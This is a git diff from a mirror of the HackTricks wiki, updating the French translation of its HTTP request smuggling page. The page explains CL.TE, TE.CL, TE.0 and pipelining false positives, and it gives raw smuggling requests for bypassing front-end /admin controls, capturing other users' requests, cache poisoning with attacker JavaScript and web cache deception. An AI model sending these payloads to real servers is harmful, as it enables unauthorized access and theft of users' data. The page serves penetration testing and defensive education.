mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/http-request-smuggling/README.md'] to fr
This commit is contained in:
Translator
parent
d13c1d4970
commit
e2a8dd2061
@ -31,7 +31,7 @@ Cela pourrait être très critique car **un attaquant pourra envoyer une requêt
|
||||
|
||||
Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 octets :**
|
||||
|
||||
- **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre** d'**octets** du **corps** de la requête. Le corps est censé se terminer par le dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**.
|
||||
- **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre** d'**octets** du **corps** de la requête. Le corps est censé se terminer au dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**.
|
||||
- **Transfer-Encoding :** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre** d'**octets** du **prochain morceau**. Le **morceau** doit **se terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0`
|
||||
- **Connection** : D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** lors de la première requête du request Smuggling.
|
||||
|
||||
@ -46,7 +46,7 @@ Les attaques de HTTP request smuggling sont élaborées en envoyant des requête
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> À la table précédente, vous devriez ajouter la technique TE.0, comme la technique CL.0 mais en utilisant Transfer Encoding.
|
||||
|
||||
#### Vulnérabilité CL.TE (Content-Length utilisé par le Front-End, Transfer-Encoding utilisé par le Back-End)
|
||||
@ -57,7 +57,7 @@ Les attaques de HTTP request smuggling sont élaborées en envoyant des requête
|
||||
|
||||
- L'attaquant envoie une requête où la valeur de l'en-tête `Content-Length` ne correspond pas à la longueur réelle du contenu.
|
||||
- Le serveur front-end transmet l'intégralité de la requête au back-end, en fonction de la valeur de `Content-Length`.
|
||||
- Le serveur back-end traite la requête comme étant en morceaux en raison de l'en-tête `Transfer-Encoding: chunked`, interprétant les données restantes comme une requête séparée et subséquente.
|
||||
- Le serveur back-end traite la requête comme étant chunked en raison de l'en-tête `Transfer-Encoding: chunked`, interprétant les données restantes comme une requête séparée et subséquente.
|
||||
- **Exemple :**
|
||||
|
||||
```
|
||||
@ -79,7 +79,7 @@ Foo: x
|
||||
- **Back-End (CL) :** Traite la requête en fonction de l'en-tête `Content-Length`.
|
||||
- **Scénario d'attaque :**
|
||||
|
||||
- L'attaquant envoie une requête en morceaux où la taille du morceau (`7b`) et la longueur réelle du contenu (`Content-Length: 4`) ne s'alignent pas.
|
||||
- L'attaquant envoie une requête chunked où la taille du morceau (`7b`) et la longueur réelle du contenu (`Content-Length: 4`) ne s'alignent pas.
|
||||
- Le serveur front-end, respectant `Transfer-Encoding`, transmet l'intégralité de la requête au back-end.
|
||||
- Le serveur back-end, respectant `Content-Length`, ne traite que la partie initiale de la requête (`7b` octets), laissant le reste comme partie d'une requête subséquente non intentionnelle.
|
||||
- **Exemple :**
|
||||
@ -108,7 +108,7 @@ x=
|
||||
- **Scénario d'attaque :**
|
||||
|
||||
- L'attaquant envoie une requête avec des en-têtes `Transfer-Encoding` obfusqués.
|
||||
- Selon quel serveur (front-end ou back-end) échoue à reconnaître l'obfuscation, une vulnérabilité CL.TE ou TE.CL peut être exploitée.
|
||||
- Selon le serveur (front-end ou back-end) qui ne reconnaît pas l'obfuscation, une vulnérabilité CL.TE ou TE.CL peut être exploitée.
|
||||
- La partie non traitée de la requête, telle que vue par l'un des serveurs, devient partie d'une requête subséquente, entraînant un smuggling.
|
||||
- **Exemple :**
|
||||
|
||||
@ -161,9 +161,9 @@ Non-Empty Body
|
||||
|
||||
#### Scénario TE.0
|
||||
|
||||
- Comme le précédent mais en utilisant TE
|
||||
- Comme le précédent mais en utilisant TE.
|
||||
- Technique [reportée ici](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **Exemple** :
|
||||
- **Exemple**:
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
Host: {HOST}
|
||||
@ -185,11 +185,11 @@ EMPTY_LINE_HERE
|
||||
|
||||
Cette technique est également utile dans des scénarios où il est possible de **casser un serveur web tout en lisant les données HTTP initiales** mais **sans fermer la connexion**. De cette manière, le **corps** de la requête HTTP sera considéré comme la **prochaine requête HTTP**.
|
||||
|
||||
Par exemple, comme expliqué dans [**cet article**](https://mizu.re/post/twisty-python), dans Werkzeug, il était possible d'envoyer certains caractères **Unicode** et cela ferait **casser** le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **prochaine requête HTTP**.
|
||||
Par exemple, comme expliqué dans [**ce rapport**](https://mizu.re/post/twisty-python), dans Werkzeug, il était possible d'envoyer certains caractères **Unicode** et cela fera **casser** le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **prochaine requête HTTP**.
|
||||
|
||||
#### Forcer via des en-têtes hop-by-hop
|
||||
|
||||
En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding afin qu'un HTTP request smuggling soit possible à abuser**.
|
||||
En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding afin qu'un contournement de requête HTTP soit possible**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
@ -227,7 +227,7 @@ A
|
||||
- Le serveur back-end, s'attendant à un message chunked, attend le prochain chunk qui n'arrive jamais, provoquant un délai.
|
||||
|
||||
- **Indicateurs :**
|
||||
- Délais d'attente ou longs délais de réponse.
|
||||
- Timeouts ou longs délais de réponse.
|
||||
- Réception d'une erreur 400 Bad Request du serveur back-end, parfois avec des informations détaillées sur le serveur.
|
||||
|
||||
### Trouver des vulnérabilités TE.CL en utilisant des techniques de timing
|
||||
@ -255,37 +255,143 @@ X
|
||||
### Autres méthodes pour trouver des vulnérabilités
|
||||
|
||||
- **Analyse de réponse différentielle :**
|
||||
- Envoyer des versions légèrement variées d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, indiquant une anomalie de parsing.
|
||||
- Envoyer des versions légèrement variées d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, indiquant une incohérence de parsing.
|
||||
- **Utilisation d'outils automatisés :**
|
||||
- Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnérabilités en envoyant diverses formes de requêtes ambiguës et en analysant les réponses.
|
||||
- **Tests de variance de Content-Length :**
|
||||
- Envoyer des requêtes avec des valeurs `Content-Length` variées qui ne correspondent pas à la longueur réelle du contenu et observer comment le serveur gère de tels décalages.
|
||||
- Envoyer des requêtes avec des valeurs `Content-Length` variées qui ne correspondent pas à la longueur réelle du contenu et observer comment le serveur gère de telles incohérences.
|
||||
- **Tests de variance de Transfer-Encoding :**
|
||||
- Envoyer des requêtes avec des en-têtes `Transfer-Encoding` obfusqués ou malformés et surveiller comment les serveurs front-end et back-end réagissent différemment à de telles manipulations.
|
||||
|
||||
### Test de vulnérabilité de HTTP Request Smuggling
|
||||
|
||||
Après avoir confirmé l'efficacité des techniques de timing, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de polluer vos requêtes, par exemple, en faisant en sorte qu'une requête à `/` renvoie une réponse 404. Les exemples `CL.TE` et `TE.CL` discutés précédemment dans [Exemples de base](#basic-examples) démontrent comment empoisonner une requête client pour provoquer une réponse 404, malgré le fait que le client vise à accéder à une ressource différente.
|
||||
Après avoir confirmé l'efficacité des techniques de timing, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de polluer vos requêtes, par exemple, en faisant en sorte qu'une requête à `/` renvoie une réponse 404. Les exemples `CL.TE` et `TE.CL` discutés précédemment dans [Basic Examples](#basic-examples) démontrent comment polluer une requête client pour provoquer une réponse 404, malgré le fait que le client vise à accéder à une ressource différente.
|
||||
|
||||
**Considérations clés**
|
||||
|
||||
Lors du test des vulnérabilités de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit :
|
||||
Lors de la recherche de vulnérabilités de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit :
|
||||
|
||||
- **Connexions réseau distinctes :** Les requêtes "d'attaque" et "normales" doivent être envoyées sur des connexions réseau séparées. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
|
||||
- **URL et paramètres cohérents :** Visez à utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes acheminent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. Les faire correspondre augmente la probabilité que les deux requêtes soient traitées par le même serveur, condition préalable à une attaque réussie.
|
||||
- **URL et paramètres cohérents :** Essayez d'utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes acheminent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. Les faire correspondre augmente la probabilité que les deux requêtes soient traitées par le même serveur, une condition préalable à une attaque réussie.
|
||||
- **Conditions de timing et de course :** La requête "normale", destinée à détecter l'interférence de la requête "d'attaque", est en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications chargées peuvent nécessiter plusieurs essais pour une confirmation concluante de la vulnérabilité.
|
||||
- **Défis d'équilibrage de charge :** Les serveurs front-end agissant comme des équilibreurs de charge peuvent distribuer les requêtes sur divers systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque échouera. Cet aspect d'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
|
||||
- **Défis d'équilibrage de charge :** Les serveurs front-end agissant comme des équilibreurs de charge peuvent distribuer les requêtes sur divers systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque ne réussira pas. Cet aspect d'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
|
||||
- **Impact utilisateur non intentionnel :** Si votre attaque impacte involontairement la requête d'un autre utilisateur (pas la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests continus pourraient perturber d'autres utilisateurs, nécessitant une approche prudente.
|
||||
|
||||
## Abuser de HTTP Request Smuggling
|
||||
## Distinguer les artefacts de pipelining HTTP/1.1 des véritables request smuggling
|
||||
|
||||
### Contourner la sécurité front-end via HTTP Request Smuggling
|
||||
La réutilisation de connexion (keep-alive) et le pipelining peuvent facilement produire des illusions de "smuggling" dans les outils de test qui envoient plusieurs requêtes sur le même socket. Apprenez à séparer les artefacts inoffensifs côté client des véritables désynchronisations côté serveur.
|
||||
|
||||
Parfois, les proxys front-end appliquent des mesures de sécurité, scrutant les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant le HTTP Request Smuggling, permettant un accès non autorisé à des points de terminaison restreints. Par exemple, accéder à `/admin` pourrait être interdit de l'extérieur, le proxy front-end bloquant activement de telles tentatives. Néanmoins, ce proxy peut négliger d'inspecter les requêtes intégrées dans une requête HTTP smuggled, laissant une faille pour contourner ces restrictions.
|
||||
### Pourquoi le pipelining crée des faux positifs classiques
|
||||
|
||||
Considérez les exemples suivants illustrant comment le HTTP Request Smuggling peut être utilisé pour contourner les contrôles de sécurité front-end, ciblant spécifiquement le chemin `/admin` qui est généralement protégé par le proxy front-end :
|
||||
HTTP/1.1 réutilise une seule connexion TCP/TLS et concatène les requêtes et les réponses sur le même flux. Dans le pipelining, le client envoie plusieurs requêtes consécutivement et s'appuie sur des réponses dans l'ordre. Un faux positif courant est de renvoyer une charge utile malformée de style CL.0 deux fois sur une seule connexion :
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
Content_Length: 47
|
||||
|
||||
**Exemple CL.TE**
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Les réponses peuvent ressembler à :
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/plain
|
||||
|
||||
User-agent: *
|
||||
Disallow: /settings
|
||||
```
|
||||
Si le serveur a ignoré le `Content_Length` malformé, il n'y a pas de désynchronisation FE↔BE. Avec la réutilisation, votre client a en fait envoyé ce flux d'octets, que le serveur a analysé comme deux requêtes indépendantes :
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
Content_Length: 47
|
||||
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: YPOST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
Content_Length: 47
|
||||
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Impact : aucun. Vous venez de désynchroniser votre client du cadre du serveur.
|
||||
|
||||
> [!TIP]
|
||||
> Modules Burp qui dépendent de la réutilisation/pipelining : Turbo Intruder avec `requestsPerConnection>1`, Intruder avec "réutilisation de connexion HTTP/1", Repeater "Envoyer le groupe en séquence (connexion unique)" ou "Activer la réutilisation de connexion".
|
||||
|
||||
### Tests de litmus : pipelining ou vraie désynchronisation ?
|
||||
|
||||
1. Désactiver la réutilisation et retester
|
||||
- Dans Burp Intruder/Repeater, désactivez la réutilisation HTTP/1 et évitez "Envoyer le groupe en séquence".
|
||||
- Dans Turbo Intruder, définissez `requestsPerConnection=1` et `pipeline=False`.
|
||||
- Si le comportement disparaît, il s'agissait probablement de pipelining côté client, à moins que vous ne traitiez des cibles verrouillées par connexion/état ou une désynchronisation côté client.
|
||||
2. Vérification de réponse imbriquée HTTP/2
|
||||
- Envoyez une requête HTTP/2. Si le corps de la réponse contient une réponse HTTP/1 imbriquée complète, vous avez prouvé un bug de parsing/désynchronisation côté backend au lieu d'un simple artefact client.
|
||||
3. Sonde de requêtes partielles pour les front-ends verrouillés par connexion
|
||||
- Certains FE ne réutilisent la connexion BE en amont que si le client réutilise la sienne. Utilisez des requêtes partielles pour détecter le comportement du FE qui reflète la réutilisation du client.
|
||||
- Voir PortSwigger "Attaques de désynchronisation alimentées par le navigateur" pour la technique verrouillée par connexion.
|
||||
4. Sondes d'état
|
||||
- Recherchez les différences entre la première et les requêtes suivantes sur la même connexion TCP (routage/validation de la première requête).
|
||||
- Burp "HTTP Request Smuggler" inclut une sonde d'état de connexion qui automatise cela.
|
||||
5. Visualiser le fil
|
||||
- Utilisez l'extension Burp "HTTP Hacker" pour inspecter la concaténation et le cadrage des messages directement tout en expérimentant avec la réutilisation et les requêtes partielles.
|
||||
|
||||
### Désynchronisation de requête verrouillée par connexion (réutilisation requise)
|
||||
|
||||
Certains front-ends ne réutilisent la connexion en amont que lorsque le client réutilise la sienne. Une véritable désynchronisation existe mais est conditionnelle à la réutilisation côté client. Pour distinguer et prouver l'impact :
|
||||
- Prouvez le bug côté serveur
|
||||
- Utilisez la vérification de réponse imbriquée HTTP/2, ou
|
||||
- Utilisez des requêtes partielles pour montrer que le FE ne réutilise en amont que lorsque le client le fait.
|
||||
- Montrez un impact réel même si l'abus direct de socket entre utilisateurs est bloqué :
|
||||
- Poisoning de cache : empoisonnez les caches partagés via la désynchronisation afin que les réponses affectent d'autres utilisateurs.
|
||||
- Divulgation d'en-têtes internes : reflétez les en-têtes injectés par le FE (par exemple, en-têtes d'authentification/de confiance) et pivotez vers un contournement d'authentification.
|
||||
- Contournement des contrôles FE : faites passer des chemins/méthodes restreints au-delà du front-end.
|
||||
- Abus d'en-tête d'hôte : combinez avec des bizarreries de routage d'hôte pour pivoter vers des vhosts internes.
|
||||
- Flux de travail de l'opérateur
|
||||
- Reproduisez avec une réutilisation contrôlée (Turbo Intruder `requestsPerConnection=2`, ou groupe d'onglets Burp Repeater → "Envoyer le groupe en séquence (connexion unique)").
|
||||
- Ensuite, enchaînez avec des primitives de cache/divulgation d'en-têtes/contournement de contrôle et démontrez l'impact entre utilisateurs ou d'autorisation.
|
||||
|
||||
> Voir aussi les attaques d'état de connexion, qui sont étroitement liées mais ne sont pas techniquement de la désynchronisation :
|
||||
>
|
||||
>{{#ref}}
|
||||
>../http-connection-request-smuggling.md
|
||||
>{{#endref}}
|
||||
|
||||
### Contraintes de désynchronisation côté client
|
||||
|
||||
Si vous ciblez une désynchronisation alimentée par le navigateur/côté client, la requête malveillante doit être envoyable par un navigateur cross-origin. Les astuces d'obfuscation d'en-têtes ne fonctionneront pas. Concentrez-vous sur les primitives accessibles via navigation/fetch, puis pivotez vers l'empoisonnement de cache, la divulgation d'en-têtes ou le contournement de contrôle du front-end où les composants en aval reflètent ou mettent en cache les réponses.
|
||||
|
||||
Pour des informations de base et des flux de travail de bout en bout :
|
||||
|
||||
{{#ref}}
|
||||
browser-http-request-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
### Outils pour aider à décider
|
||||
|
||||
- HTTP Hacker (Burp BApp Store) : expose le comportement HTTP de bas niveau et la concaténation de sockets.
|
||||
- "Désynchronisation ou pipelining ?" Action personnalisée Burp Repeater : https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder : contrôle précis de la réutilisation de connexion via `requestsPerConnection`.
|
||||
- Burp HTTP Request Smuggler : inclut une sonde d'état de connexion pour repérer le routage/validation de la première requête.
|
||||
|
||||
> [!NOTE]
|
||||
> Traitez les effets de réutilisation uniquement comme des non-problèmes à moins que vous ne puissiez prouver une désynchronisation côté serveur et attacher un impact concret (artefact de cache empoisonné, en-tête interne divulgué permettant un contournement de privilège, contrôle FE contourné, etc.).
|
||||
|
||||
## Abus de HTTP Request Smuggling
|
||||
|
||||
### Contournement de la sécurité du front-end via HTTP Request Smuggling
|
||||
|
||||
Parfois, les proxys front-end appliquent des mesures de sécurité, scrutant les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant le HTTP Request Smuggling, permettant un accès non autorisé à des points de terminaison restreints. Par exemple, l'accès à `/admin` peut être interdit de l'extérieur, le proxy front-end bloquant activement de telles tentatives. Néanmoins, ce proxy peut négliger d'inspecter les requêtes intégrées dans une requête HTTP smuggled, laissant une faille pour contourner ces restrictions.
|
||||
|
||||
Considérez les exemples suivants illustrant comment le HTTP Request Smuggling peut être utilisé pour contourner les contrôles de sécurité du front-end, ciblant spécifiquement le chemin `/admin` qui est généralement protégé par le proxy front-end :
|
||||
|
||||
**CL.TE Exemple**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -320,7 +426,7 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
Inverse, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête intégrée suivante est traitée en fonction de l'en-tête `Content-Length`. Comme dans l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin restreint `/admin`.
|
||||
Inversement, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête intégrée suivante est traitée en fonction de l'en-tête `Content-Length`. Comme dans l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin restreint `/admin`.
|
||||
|
||||
### Révélation de la réécriture des requêtes front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
@ -349,7 +455,7 @@ Il est important d'aligner l'en-tête `Content-Length` de la requête imbriquée
|
||||
|
||||
Cette technique est également applicable dans le contexte d'une vulnérabilité TE.CL, mais la requête doit se terminer par `search=\r\n0`. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.
|
||||
|
||||
Cette méthode sert principalement à comprendre les modifications de requête effectuées par le proxy frontal, réalisant essentiellement une enquête autodirigée.
|
||||
Cette méthode sert principalement à comprendre les modifications de requête effectuées par le proxy frontal, réalisant essentiellement une enquête auto-dirigée.
|
||||
|
||||
### Capturer les requêtes d'autres utilisateurs <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
@ -377,7 +483,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
|
||||
```
|
||||
Dans ce scénario, le **paramètre de commentaire** est destiné à stocker le contenu dans la section des commentaires d'un post sur une page accessible au public. Par conséquent, le contenu de la requête suivante apparaîtra comme un commentaire.
|
||||
|
||||
Cependant, cette technique a des limitations. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête contrefaite. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la chaîne de requête.
|
||||
Cependant, cette technique a des limitations. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête camouflée. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la chaîne de requête.
|
||||
|
||||
De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans de tels cas, la requête doit se terminer par `search=\r\n0`. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.
|
||||
|
||||
@ -420,15 +526,15 @@ En manipulant le `User-Agent` par le smuggling, le payload contourne les contrai
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> Dans le cas où le contenu de l'utilisateur est réfléchi dans une réponse avec un **`Content-type`** tel que **`text/plain`**, empêchant l'exécution du XSS. Si le serveur prend en charge **HTTP/0.9, il pourrait être possible de contourner cela** !
|
||||
> Dans le cas où le contenu utilisateur est réfléchi dans une réponse avec un **`Content-type`** tel que **`text/plain`**, empêchant l'exécution du XSS. Si le serveur supporte **HTTP/0.9, il pourrait être possible de contourner cela** !
|
||||
|
||||
La version HTTP/0.9 était antérieure à la 1.0 et utilise uniquement des verbes **GET** et **ne répond pas** avec des **en-têtes**, juste le corps.
|
||||
|
||||
Dans [**ce writeup**](https://mizu.re/post/twisty-python), cela a été abusé avec un smuggling de requête et un **point de terminaison vulnérable qui répondra avec l'entrée de l'utilisateur** pour smuggler une requête avec HTTP/0.9. Le paramètre qui sera réfléchi dans la réponse contenait une **réponse HTTP/1.1 factice (avec en-têtes et corps)** afin que la réponse contienne un code JS exécutable valide avec un `Content-Type` de `text/html`.
|
||||
Dans [**ce writeup**](https://mizu.re/post/twisty-python), cela a été abusé avec un smuggling de requête et un **point de terminaison vulnérable qui répondra avec l'entrée de l'utilisateur** pour smuggler une requête avec HTTP/0.9. Le paramètre qui sera réfléchi dans la réponse contenait une **réponse HTTP/1.1 factice (avec en-têtes et corps)**, de sorte que la réponse contiendra un code JS exécutable valide avec un `Content-Type` de `text/html`.
|
||||
|
||||
### Exploiter les redirections sur site avec le HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Les applications redirigent souvent d'une URL à une autre en utilisant le nom d'hôte de l'en-tête `Host` dans l'URL de redirection. Cela est courant avec des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans barre oblique à la fin entraîne une redirection pour inclure la barre oblique :
|
||||
Les applications redirigent souvent d'une URL à une autre en utilisant le nom d'hôte de l'en-tête `Host` dans l'URL de redirection. Cela est courant avec des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans barre oblique finale entraîne une redirection pour inclure la barre oblique :
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -466,15 +572,15 @@ Location: https://attacker-website.com/home/
|
||||
```
|
||||
Dans ce scénario, la demande d'un utilisateur pour un fichier JavaScript est détournée. L'attaquant peut potentiellement compromettre l'utilisateur en servant un JavaScript malveillant en réponse.
|
||||
|
||||
### Exploitation de la contamination du cache Web via le HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Exploitation du Poisoning de Cache Web via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
La contamination du cache Web peut être exécutée si un composant de l'**infrastructure front-end met en cache du contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **contaminer le cache**.
|
||||
Le poisoning de cache web peut être exécuté si un composant de l'**infrastructure front-end met en cache du contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **poisonner le cache**.
|
||||
|
||||
Auparavant, nous avons observé comment les réponses du serveur pouvaient être modifiées pour renvoyer une erreur 404 (voir [Exemples de base](#basic-examples)). De même, il est possible de tromper le serveur pour qu'il délivre le contenu de `/index.html` en réponse à une demande pour `/static/include.js`. Par conséquent, le contenu de `/static/include.js` est remplacé dans le cache par celui de `/index.html`, rendant `/static/include.js` inaccessible aux utilisateurs, ce qui peut potentiellement conduire à une Déni de Service (DoS).
|
||||
Auparavant, nous avons observé comment les réponses du serveur pouvaient être modifiées pour renvoyer une erreur 404 (voir [Exemples de Base](#basic-examples)). De même, il est possible de tromper le serveur pour qu'il livre le contenu de `/index.html` en réponse à une demande pour `/static/include.js`. Par conséquent, le contenu de `/static/include.js` est remplacé dans le cache par celui de `/index.html`, rendant `/static/include.js` inaccessible aux utilisateurs, ce qui peut entraîner une Déni de Service (DoS).
|
||||
|
||||
Cette technique devient particulièrement puissante si une **vulnérabilité de redirection ouverte** est découverte ou s'il y a une **redirection sur site vers une redirection ouverte**. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de `/static/include.js` par un script sous le contrôle de l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) à grande échelle contre tous les clients demandant le `/static/include.js` mis à jour.
|
||||
Cette technique devient particulièrement puissante si une **vulnérabilité de Redirection Ouverte** est découverte ou s'il y a une **redirection sur site vers une redirection ouverte**. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de `/static/include.js` par un script sous le contrôle de l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) généralisée contre tous les clients demandant le `/static/include.js` mis à jour.
|
||||
|
||||
Voici une illustration de l'exploitation de **la contamination du cache combinée avec une redirection sur site vers une redirection ouverte**. L'objectif est de modifier le contenu du cache de `/static/include.js` pour servir du code JavaScript contrôlé par l'attaquant :
|
||||
Voici une illustration de l'exploitation du **poisoning de cache combiné avec une redirection sur site vers une redirection ouverte**. L'objectif est de modifier le contenu du cache de `/static/include.js` pour servir du code JavaScript contrôlé par l'attaquant :
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -498,14 +604,14 @@ Après un **empoisonnement de socket** réussi, une **requête GET** pour `/stat
|
||||
|
||||
Par la suite, toute requête pour `/static/include.js` servira le contenu mis en cache du script de l'attaquant, lançant ainsi une large attaque XSS.
|
||||
|
||||
### Utiliser le smuggling de requêtes HTTP pour effectuer une tromperie de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### Utilisation de l'HTTP request smuggling pour effectuer une tromperie de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?**
|
||||
>
|
||||
> - Dans l'**empoisonnement de cache web**, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache à d'autres utilisateurs de l'application.
|
||||
> - Dans la **tromperie de cache web**, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupère ensuite ce contenu depuis le cache.
|
||||
|
||||
L'attaquant crée une requête smuggled qui récupère un contenu sensible spécifique à l'utilisateur. Considérez l'exemple suivant :
|
||||
L'attaquant crée une requête dissimulée qui récupère un contenu sensible spécifique à l'utilisateur. Considérez l'exemple suivant :
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -516,11 +622,11 @@ L'attaquant crée une requête smuggled qui récupère un contenu sensible spéc
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Si cette requête de contournement empoisonne une entrée de cache destinée à du contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
|
||||
Si cette requête dissimulée empoisonne une entrée de cache destinée à un contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
|
||||
|
||||
### Abus de TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
